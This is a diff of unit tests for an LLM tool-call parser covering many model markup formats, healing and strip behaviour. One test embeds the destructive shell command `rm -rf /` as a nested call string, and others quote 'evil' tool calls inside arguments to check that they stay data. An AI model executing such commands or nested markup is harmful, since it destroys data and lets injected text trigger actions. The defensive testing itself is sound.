+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_inactive_rehearsal_alone_is_not_a_call(self):
+        text = 'foo[ARGS]{"a":1}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_active_rehearsal_is_still_parsed(self):
+        text = 'web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+
+    def test_unrestricted_gate_none_preserves_legacy_behavior(self):
+        # Without a gate every ``NAME[ARGS]{...}`` is parsed, as before the gate landed.
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        assert self._names(parse_tool_calls_from_text(text)) == ["foo", "web_search"]
+        assert self._names(parse_tool_calls_from_text(text, enabled_tool_names = None)) == [
+            "foo",
+            "web_search",
+        ]
+
+
+class TestBracketCallSpans:
+    """with_spans tiling for Mistral bracket calls: promoted markup strips
+    exactly once, filtered calls' bytes stay visible, closers strip too."""
+
+    def test_mixed_array_filtered_first_keeps_its_bytes_only(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"bad","arguments":{"x":1}},'
+            '{"name":"lookup","arguments":{"q":"cats"}}]'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        kinds = [k for k, _v in events]
+        assert kinds == ["text", "tool_call"]
+        text = events[0][1]
+        assert '"bad"' in text
+        # The promoted call's markup must not survive in the text event.
+        assert '"lookup"' not in text
+
+    def test_mixed_array_filtered_second_stays_visible(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"cats"}},'
+            '{"name":"bad","arguments":{"x":1}}]'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        assert events[0][0] == "tool_call"
+        trailing = "".join(v for k, v in events if k == "text")
+        assert '"bad"' in trailing
+
+    def test_v11_closer_inside_span(self):
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        text = '[TOOL_CALLS]web_search[ARGS]{"query":"cats"}[/TOOL_CALLS] after'
+        calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert call["function"]["name"] == "web_search"
+        (span,) = spans
+        assert text[span[0] : span[1]].endswith("[/TOOL_CALLS]")
+        assert text[span[1] :] == " after"
+
+    def test_fully_promoted_array_strips_whole_region(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"a"}},'
+            '{"name":"lookup","arguments":{"q":"b"}}] after'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        assert [k for k, _v in events] == ["tool_call", "tool_call", "text"]
+        assert events[2][1] == " after"
+
+
+class TestMistralArrayHealing:
+    """Draining the whole [TOOL_CALLS] array for the shapes the repo's own
+    Mistral/Ollama templates emit."""
+
+    def test_comma_less_multi_call_array_parses_all_calls(self):
+        # ollama_template_mappers.py renders multi-call turns as [{...}{...}] with no
+        # comma separator; a single json.loads of the body rejects it and dropped every
+        # call. The element-by-element decode must recover all of them.
+        text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}}{"name":"b","arguments":{"y":2}}]'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["a", "b"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"x": 1}
+        assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_comma_separated_and_single_arrays_still_parse(self):
+        both = parse_tool_calls_from_text(
+            '[TOOL_CALLS] [{"name":"a","arguments":{}},{"name":"b","arguments":{}}]'
+        )
+        assert [c["function"]["name"] for c in both] == ["a", "b"]
+        one = parse_tool_calls_from_text('[TOOL_CALLS] [{"name":"a","arguments":{}}]')
+        assert [c["function"]["name"] for c in one] == ["a"]
+
+    def test_mistral_array_null_arguments_normalized_to_empty_object(self):
+        # ``"arguments": null`` is a no-arg call; it must become {} (as the <tool_call>
+        # path does), not the string "null" that auto-heal turns into {"query":"null"}.
+        calls = parse_tool_calls_from_text('[TOOL_CALLS][{"name":"get_time","arguments":null}]')
+        assert calls[0]["function"]["arguments"] == "{}"
+
+
+class TestGlmStrict:
+    def test_closed_glm_call_is_accepted(self):
+        text = (
+            "<tool_call>get_weather\n"
+            "<arg_key>city</arg_key>\n<arg_value>Paris</arg_value>\n"
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "get_weather"
+
+    def test_unclosed_glm_call_is_rejected(self):
+        # No </tool_call> close: truncated, reject with Auto-Heal off.
+        text = "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>Paris</arg_value>"
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestKimiStrict:
+    _SB = "<|tool_calls_section_begin|>"
+    _KB = "<|tool_call_begin|>"
+    _AB = "<|tool_call_argument_begin|>"
+    _KE = "<|tool_call_end|>"
+    _SE = "<|tool_calls_section_end|>"
+
+    def test_full_kimi_call_is_accepted(self):
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE + self._SE
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "x"
+
+    def test_kimi_call_without_call_end_is_rejected(self):
+        # Section closed but the call lacks <|tool_call_end|>: reject in strict.
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._SE
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+    def test_kimi_without_section_end_is_rejected(self):
+        # No <|tool_calls_section_end|>: truncated section, reject in strict.
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestParserLinearity:
+    """Llama-3 ``.call`` kwargs and Mistral-array healing must stay linear (a regex-per-offset blew up on long truncated bodies)."""
+
+    def test_llama3_unterminated_call_arg_is_linear(self):
+        import time
+
+        text = '<|python_tag|>upload.call(data="' + "A" * 200_000  # no closing quote/paren
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_llama3_huge_wordrun_call_arg_is_linear(self):
+        import time
+
+        text = "<|python_tag|>upload.call(" + "a" * 200_000  # giant word run, no '='
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_mistral_unclosed_array_open_braces_is_linear(self):
+        import time
+
+        text = "[TOOL_CALLS] [" + "{" * 200_000  # unclosed array, all open braces
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_gemma_wrapperless_deep_nesting_is_linear(self):
+        # Wrapper-less Gemma ``call:f{a:{a:{...}}}`` deep nesting must parse in linear time (no quadratic re-scan).
+        import time
+
+        def nested(d):
+            return "call:f{a:" + "{a:" * d + "x:1" + "}" * d + "}"
+
+        def best_ms(depth):
+            text = nested(depth)
+            best = float("inf")
+            for _ in range(5):
+                t0 = time.perf_counter()
+                calls = parse_tool_calls_from_text(text)
+                best = min(best, time.perf_counter() - t0)
+            assert calls and json.loads(calls[0]["function"]["arguments"]), "nested args dropped"
+            return best
+
+        t200 = best_ms(200)
+        t400 = best_ms(400)
+        assert t400 < t200 * 3.0, (t200, t400)
+
+    def test_llama3_call_kwargs_still_parse(self):
+        text = '<|python_tag|>do.call(s="hi 😀", n=42, f=1.5, b=true, z=null)'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "s": "hi 😀",
+            "n": 42,
+            "f": 1.5,
+            "b": True,
+            "z": None,
+        }
+
+    def test_llama3_call_scientific_notation_args_parse(self):
+        # Scientific notation must decode as float (the old regex truncated 1e-3 -> 1).
+        text = "<|python_tag|>calc.call(x=1e-3, y=-2E+4, z=0.5e2, n=42)"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"x": 1e-3, "y": -2e4, "z": 50.0, "n": 42}
+        assert isinstance(args["n"], int) and isinstance(args["x"], float)
+
+    def test_mistral_unclosed_array_recovers_top_level_objects(self):
+        text = (
+            '[TOOL_CALLS] [{"name":"a","arguments":{"k":1}},'
+            '{"name":"b","arguments":{"j":2}}'  # missing closing ]
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert [c["function"]["name"] for c in calls] == ["a", "b"]
+
+
+class TestLlamaBuiltinChainAndNesting:
+    """Llama-3 ``.call`` built-ins: ``; `` chaining and nested-tag isolation."""
+
+    def test_semicolon_chained_builtin_calls_all_parse(self):
+        # Only the first call is anchored to <|python_tag|>; the rest chain via ';'.
+        text = "<|python_tag|>alpha.call(x=1); beta.call(y=2); gamma.call(z=3)"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert [c["function"]["name"] for c in calls] == ["alpha", "beta", "gamma"]
+        assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_nested_python_tag_in_json_string_arg_is_not_a_call(self):
+        # A code arg literally containing a <|python_tag|>...call(...) string: the real call is the
+        # outer "python", not the nested "os" -- the scan stays anchored to the first tag.
+        text = (
+            '<|python_tag|>{"name":"python","parameters":'
+            '{"code":"<|python_tag|>os.call(\'rm -rf /\')"}}'
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "python"
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<|python_tag|>os.call('rm -rf /')"
+
+    def test_single_builtin_call_unchanged(self):
+        text = '<|python_tag|>web_search.call(query="cats")'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+
+def test_glm_open_does_not_parse_spaced_prose_as_tool_name():
+    # The GLM <tool_call>NAME opener must reject spaced literal prose (V10); only a
+    # valid [\w.\-]+ name (followed by newline/<arg_key>/</tool_call>) is a call.
+    assert parse_tool_calls_from_text("<tool_call>not a call</tool_call>") == []
+    ok = parse_tool_calls_from_text(
+        "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>NYC</arg_value>\n</tool_call>"
+    )
+    assert [c["function"]["name"] for c in ok] == ["get_weather"]
+
+
+def test_deepseek_r1_missing_call_terminator_rejected_in_strict_mode():
+    # R1 must reject a fenced call whose closing ``` + <｜tool▁call▁end｜> never
+    # arrived when Auto-Heal is off, matching V3/V3.1 strictness (V6).
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC"}'
+        "<｜tool▁calls▁end｜>"
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+def test_deepseek_r1_complete_call_accepted_in_strict_mode():
+    # A fully-terminated R1 call (close fence + per-call end) is still accepted.
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC"}\n'
+        "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1 and calls[0]["function"]["name"] == "get_weather"
+
+
+def test_strip_leading_bare_json_call_drops_complete_call():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A complete Llama-3.2 bare-JSON call is removed; trailing prose is kept.
+    assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"cats"}}') == ""
+    assert (
+        strip_leading_bare_json_call('{"name":"python","parameters":{"code":"x"}} done') == "done"
+    )
+
+
+def test_strip_leading_bare_json_call_drops_truncated_call():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A truncated call (no closing brace) collapses to "" -- nothing recoverable.
+    assert (
+        strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"weather in S')
+        == ""
+    )
+
+
+def test_strip_leading_bare_json_call_preserves_plain_json_and_prose():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # No "name" key -> plain JSON answer, left untouched.
+    assert (
+        strip_leading_bare_json_call('{"result": 42, "ok": true}') == '{"result": 42, "ok": true}'
+    )
+    # Prose before the brace -> not a leading bare call, untouched.
+    assert strip_leading_bare_json_call('here is {"name":"x"}') == 'here is {"name":"x"}'
+    # Ordinary text untouched.
+    assert strip_leading_bare_json_call("just a sentence.") == "just a sentence."
+
+
+def test_glm_literal_close_tag_in_string_arg_not_truncated():
+    import json
+
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    # A GLM string argument may legitimately contain the literal close tag ``</tool_call>``.
+    text = (
+        "<tool_call>run_code\n"
+        "<arg_key>code</arg_key>\n"
+        '<arg_value>print("</tool_call>")</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["code"] == 'print("</tool_call>")', args
+
+
+def test_glm_truncated_block_rejected_in_strict_mode_but_healed_otherwise():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    # No </tool_call> close: strict mode (Auto-Heal off) rejects the truncated
+    # block; with Auto-Heal it keeps the partial call.
+    text = "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>NYC"
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1 and healed[0]["function"]["name"] == "get_weather"
+
+
+def test_truncated_wrapperless_gemma_call_is_stripped():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # A wrapper-less Gemma ``call:NAME{...`` cut off mid-arguments (no closing
+    # brace) must not leak the raw call into the visible stream.
+    text = 'Sure!\ncall:web_search{"query": "weather in San Fr'
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:web_search" not in stripped, repr(stripped)
+    assert stripped.strip() == "Sure!"
+
+
+def test_complete_wrapperless_gemma_call_keeps_trailing_prose():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # The truncation pattern must run AFTER the closed form, so a complete call
+    # followed by prose keeps the prose instead of eating to EOS.
+    text = 'call:web_search{"query": "cats"} Here you go.'
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:web_search" not in stripped
+    assert stripped.strip() == "Here you go."
+
+
+def test_bare_json_gated_on_enabled_tool_names():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    alice = '{"name":"Alice","parameters":{"age":30}}'
+    real = '{"name":"web_search","parameters":{"query":"cats"}}'
+    # With an enabled set, markerless JSON whose name is not a tool is NOT a call.
+    assert parse_tool_calls_from_text(alice, enabled_tool_names = {"web_search"}) == []
+    # A real call (enabled name) still parses.
+    got = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in got] == ["web_search"]
+    # No enabled set (None) keeps the name-agnostic behaviour for direct callers.
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(alice)] == ["Alice"]
+    # Marker-based forms are NOT gated (an explicit signal is a real call attempt).
+    xml = '<tool_call>{"name":"Alice","arguments":{}}</tool_call>'
+    assert parse_tool_calls_from_text(xml, enabled_tool_names = {"web_search"})
+
+
+def test_strip_leading_bare_json_call_gated_on_enabled_tool_names():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    alice = '{"name":"Alice","parameters":{"age":30}}'
+    # Not an enabled tool -> ordinary JSON answer, kept verbatim.
+    assert strip_leading_bare_json_call(alice, {"web_search"}) == alice
+    # Enabled tool -> a real call, stripped (trailing prose kept).
+    assert (
+        strip_leading_bare_json_call(
+            '{"name":"web_search","parameters":{"q":1}} hi', {"web_search"}
+        )
+        == "hi"
+    )
+
+
+def test_function_xml_strip_keeps_literal_close_tag_in_param_value():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # The strip uses the LAST </function> (like the parser) so a literal </function> in a value doesn't
+    # truncate it; separate calls still strip independently.
+    text = '<function=python><parameter=code>print("</function>")</parameter></function> done'
+    assert strip_tool_markup(text, final = True) == "done"
+    two = (
+        "a <function=f><parameter=x>1</parameter></function> mid "
+        "<function=g><parameter=y>2</parameter></function> end"
+    )
+    assert strip_tool_markup(two, final = True) == "a  mid  end"
+
+
+def test_function_xml_strip_keeps_trailing_text_after_literal_open_tag():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text, strip_tool_markup
+
+    # A literal ``<function=x>`` opener inside a parameter value is data, not a call: the scan-based
+    # strip keeps " done" (the old negative-lookahead regex ate the trailing prose).
+    text = '<function=python><parameter=code>print("<function=x>")</parameter></function> done'
+    assert parse_tool_calls_from_text(text)[0]["function"]["name"] == "python"
+    assert strip_tool_markup(text, final = True) == "done"
+    # Non-final (streaming) keeps an unclosed call buffered, does not eat prose early.
+    open_text = 'pre <function=python><parameter=code>print("<function=x>")'
+    assert strip_tool_markup(open_text, final = False) == open_text
+
+
+def test_final_strip_removes_magistral_think_reasoning():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Magistral emits reasoning as ``[THINK]...[/THINK]`` (bracket form, not ``<think>``);
+    # at end-of-turn it must be dropped so it doesn't leak into display / history.
+    text = "[THINK]The user greeted me, I should say hi.[/THINK]Hello! How can I help?"
+    assert strip_tool_markup(text, final = True) == "Hello! How can I help?"
+    # A ``[TOOL_CALLS]`` living inside the reasoning goes with it.
+    with_call = '[THINK]Maybe I should search.[/THINK][TOOL_CALLS]search{"q":"x"}'
+    assert strip_tool_markup(with_call, final = True) == ""
+
+
+def test_streaming_strip_keeps_magistral_think_buffered():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Mid-stream (final=False) the reasoning block is left intact; only the
+    # end-of-turn pass removes it.
+    text = "[THINK]still thinking"
+    assert strip_tool_markup(text, final = False) == text
+
+
+def test_final_strip_leaves_non_magistral_bracket_text_untouched():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Only a LEADING ``[THINK]`` block is reasoning; unrelated bracketed prose stays.
+    text = "See [THINK about it] later"
+    assert strip_tool_markup(text, final = True) == "See [THINK about it] later"
+
+
+def test_strip_leading_bare_json_call_ignores_nested_name():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A nested ``"name"`` must NOT gate the strip (only a TOP-LEVEL enabled name is a call); the
+    # ordinary JSON answer is kept verbatim, truncated or complete.
+    nested_trunc = '{"result":{"name":"web_search","age":'
+    nested_full = '{"result":{"name":"web_search","age":1}}'
+    assert strip_leading_bare_json_call(nested_trunc, {"web_search"}) == nested_trunc
+    assert strip_leading_bare_json_call(nested_full, {"web_search"}) == nested_full
+    # A real top-level call (even with a top-level array before the name) still strips.
+    assert (
+        strip_leading_bare_json_call(
+            '{"data":[1,2],"name":"web_search","parameters":{}}', {"web_search"}
+        )
+        == ""
+    )
+
+
+def test_mistral_single_object_call_is_stripped_for_display():
+    from core.inference.tool_call_parser import (
+        _strip_mistral_closed_calls,
+        parse_tool_calls_from_text,
+    )
+
+    # The parser accepts the single-object [TOOL_CALLS]{...} shape, so the display
+    # strip must remove it too (asymmetry would leak the raw object).
+    text = '[TOOL_CALLS]{"name":"web_search","arguments":{"filters":{"date":"2024"}}} tail'
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == ["web_search"]
+    assert _strip_mistral_closed_calls(text) == " tail"
+    # A literal [TOOL_CALLS] in prose (no following object) is left untouched.
+    assert _strip_mistral_closed_calls("See the [TOOL_CALLS] docs") == "See the [TOOL_CALLS] docs"
+
+
+def test_tool_call_parser_declares_future_annotations_for_py39_import():
+    # F1: the parser is imported standalone on python >=3.9, where its PEP 604 ``X | None``
+    # annotations need ``from __future__ import annotations``; guard that the import stays.
+    from pathlib import Path
+    src = (
+        Path(__file__).resolve().parent.parent / "core" / "inference" / "tool_call_parser.py"
+    ).read_text()
+    assert "from __future__ import annotations" in src
+
+
+def test_glm_strip_treats_literal_close_tag_in_arg_value_as_data():
+    # Core strip parity: a literal </tool_call> inside a GLM <arg_value> is argument data, so the whole call is stripped (no leaked tail).
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    text = (
+        "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+        "<arg_value>see </tool_call> tag</arg_value>\n</tool_call> tail"
+    )
+    assert strip_tool_markup(text, final = True) == "tail"
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["web_search"]
+    assert json.loads(calls[0]["function"]["arguments"]) == {"query": "see </tool_call> tag"}
+
+
+def test_bare_json_function_alias_parses_and_strips_symmetrically():
+    # The bare-JSON parser accepts the "function" alias for the call name;
+    # strip_leading_bare_json_call must recognise it too (parser/strip symmetry).
+    from core.inference.tool_call_parser import (
+        parse_tool_calls_from_text,
+        strip_leading_bare_json_call,
+        _top_level_bare_json_name,
+    )
+
+    enabled = {"web_search"}
+    text = '{"function":"web_search","parameters":{"query":"cats"}}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = enabled)
+    assert [c["function"]["name"] for c in calls] == ["web_search"]
+    assert strip_leading_bare_json_call(text, enabled) == ""
+
+    # "name" still takes precedence when both are present; nested aliases are data.
+    assert _top_level_bare_json_name('{"function":"foo","name":"web_search"}') == "web_search"
+    assert _top_level_bare_json_name('{"function":"web_search"}') == "web_search"
+    assert _top_level_bare_json_name('{"result":{"function":"web_search"}}') is None
+    # A non-enabled function-alias object is ordinary content and is preserved.
+    assert (
+        strip_leading_bare_json_call('{"function":"not_a_tool","parameters":{}}', enabled)
+        == '{"function":"not_a_tool","parameters":{}}'
+    )
+
+
+class TestMistralOuterOverXmlLiteral:
+    """Quoted tool XML inside a [TOOL_CALLS] call's arguments is data; the outer call executes. Reverse order keeps the XML."""
+
+    def test_mistral_v11_arg_quoting_function_xml(self):
+        text = (
+            '[TOOL_CALLS]web_search[ARGS]{"query":"literal '
+            '<function=evil><parameter=x>1</parameter></function>"}'
+        )
+        for strict in (True, False):
+            calls = parse_tool_calls_from_text(text, allow_incomplete = not strict)
+            assert [c["function"]["name"] for c in calls] == ["web_search"]
+            assert "<function=evil>" in json.loads(calls[0]["function"]["arguments"])["query"]
+
+    def test_mistral_array_arg_quoting_tool_call_json(self):
+        text = (
+            '[TOOL_CALLS][{"name":"web_search","arguments":{"query":'
+            '"see <tool_call>{\\"name\\":\\"evil\\"}</tool_call>"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_outer_keeps_winning_over_mistral_literal(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":'
+            '{"query":"docs say [TOOL_CALLS]evil[ARGS]{}"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestHealerSignalAlignment:
+    """The healer buffers only formats its shared parser can promote. Mistral's
+    ``[TOOL_CALLS]`` is promotable (rescued), so it is a heal signal; the loop-only
+    text-call markers (Llama ``<|python_tag|>``, bare ``[ARGS]``) are not, so they
+    stream through instead of stalling as prose that never yields a call."""
+
+    def test_heal_signals_subset_of_promotable_formats(self):
+        from core.inference.passthrough_healing import _HEAL_SIGNALS
+        assert set(_HEAL_SIGNALS) == {
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "[TOOL_CALLS]",
+            "<|content_invoke_tool_json|>",
+        }
+
+    def test_stream_healer_does_not_hold_llama_python_tag_text(self):
+        from core.inference.passthrough_healing import StreamToolCallHealer
+
+        healer = StreamToolCallHealer(
+            {"web_search"},
+            [{"type": "function", "function": {"name": "web_search", "parameters": {}}}],
+        )
+        # Llama <|python_tag|> is not a healer-promotable format, so it streams through as text.
+        events = list(healer.feed('<|python_tag|>web_search.call(query="cats")'))
+        text_out = "".join(v for k, v in events if k == "text")
+        assert "<|python_tag|>" in text_out  # streamed through, not buffered
+        assert not list(healer.finalize()) or all(k == "text" for k, _v in healer.finalize())
+
+
+class TestGemmaWrapperlessLiteralMarkers:
+    """Wrapper-less Gemma calls whose ARGUMENTS mention Gemma's own markup.
+
+    The tool_healing deferral must key on an actual wrapped opener
+    (``<|tool_call>call:...``), not the wrapper literal anywhere in content:
+    a query about the marker has nothing tool_healing can parse, and deferring
+    it loses the call entirely (not executed AND stripped from display)."""
+
+    def test_marker_literal_in_argument_still_parses(self):
+        text = 'call:web_search{query:"what does <|tool_call> mean"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what does <|tool_call> mean"
+
+    def test_real_wrapped_call_still_deferred_to_tool_healing(self):
+        from core.inference.tool_call_parser import _parse_gemma_tool_calls
+
+        # An actual wrapped opener present: the Gemma fallback must keep
+        # deferring to the shared tool_healing parser that owns that form.
+        text = '<|tool_call>call:web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        assert _parse_gemma_tool_calls(text, id_offset = 0) == []
+
+    def test_single_quoted_brace_does_not_truncate_code(self):
+        text = "call:python{code:print('}')}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "print('}')"
+
+    def test_single_quoted_brace_strip_span_covers_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = "call:python{code:print('}')} Done."
+        stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"python"})
+        assert "call:python" not in stripped
+        assert "')}" not in stripped
+        assert stripped.strip() == "Done."
+
+
+class TestGlmEmbeddedClosePair:
+    """A GLM value whose string literal embeds the full close-tag pair
+    ``</arg_value></tool_call>`` (code documenting the GLM format) must not be
+    truncated at the embedded pair: a structural close sits at balanced quote
+    state, an embedded one is inside an open string literal."""
+
+    def test_embedded_pair_inside_quoted_value_not_structural(self):
+        text = (
+            "<tool_call>python\n"
+            "<arg_key>code</arg_key>\n"
+            '<arg_value>print("</arg_value></tool_call>")\nx = 1</arg_value>\n'
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == 'print("</arg_value></tool_call>")\nx = 1'
+
+    def test_strip_covers_the_full_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = (
+            "<tool_call>python\n"
+            "<arg_key>code</arg_key>\n"
+            '<arg_value>print("</arg_value></tool_call>")\nx = 1</arg_value>\n'
+            "</tool_call> Done."
+        )
+        stripped = strip_tool_markup(text, final = True)
+        assert "arg_value" not in stripped
+        assert stripped.strip() == "Done."
+
+    def test_unbalanced_apostrophe_falls_back_to_first_candidate(self):
+        # Prose-like value with an apostrophe: no candidate reaches balanced
+        # quote state, so the first token-valid close wins (prior behavior).
+        text = (
+            "<tool_call>web_search\n"
+            "<arg_key>query</arg_key>\n"
+            "<arg_value>it's fine</arg_value>\n"
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "it's fine"
+
+
+class TestPythonTagLiteralInsideMistralArgs:
+    """A python_tag LITERAL inside a leading Mistral call's arguments is data; the outer call executes."""
+
+    def test_mistral_arg_quoting_python_tag_call(self):
+        text = (
+            '[TOOL_CALLS] [{"name": "web_search", "arguments": '
+            '{"query": "what is <|python_tag|>evil.call(x=1)"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what is <|python_tag|>evil.call(x=1)"
+
+
+class TestPythonTagOuterOverXmlLiteral:
+    """A leading Llama-3 ``<|python_tag|>`` call owns the turn: tool XML/Mistral
+    markup quoted in a ``.call(...)`` string argument (or in trailing prose) is
+    data, so the outer call executes -- parity with the bare-JSON / Mistral /
+    attribute-form leading-ownership rules. XML before the tag keeps normal order."""
+
+    def test_call_arg_quoting_complete_function_xml(self):
+        # A closed <function=...> in a .call() code arg must not beat the leading python_tag call.
+        text = (
+            '<|python_tag|>python.call(code="<function=render_html>'
+            '<parameter=x>1</parameter></function>")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<function=render_html><parameter=x>1</parameter></function>"
